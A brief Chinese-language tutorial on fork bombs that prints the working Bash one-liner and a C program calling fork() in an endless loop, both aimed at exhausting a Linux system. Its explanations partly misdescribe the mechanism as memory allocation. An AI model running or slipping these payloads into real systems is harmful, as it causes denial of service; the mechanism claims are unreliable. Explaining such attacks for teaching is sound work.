C 与 BASH 叉弹?
Fork() 炸弹是一种针对基于 Linux 的系统的 DoS(拒绝服务)攻击。这调用 Fork() 系统无限次,这将填满程序的内存并有意损害系统。
Bash 脚本用于 fork 炸弹
:(){ :|: & };:
代码解释为:( ) 是函数定义,{ } 定义循环体。:|:& 创建一个内存位置,不允许其被释放。此程序不断多次调用自身。因此会不断进行无限次调用。
C Fork 炸弹也是相同的 DoS 类型,但可以在 C 编译器上运行。它会无限地调用内存分配,并使系统内存耗尽。
示例
#include <unistd.h> #include <malloc.h> int main() { while (1) { fork(); } }
输出
Infinite calls
广告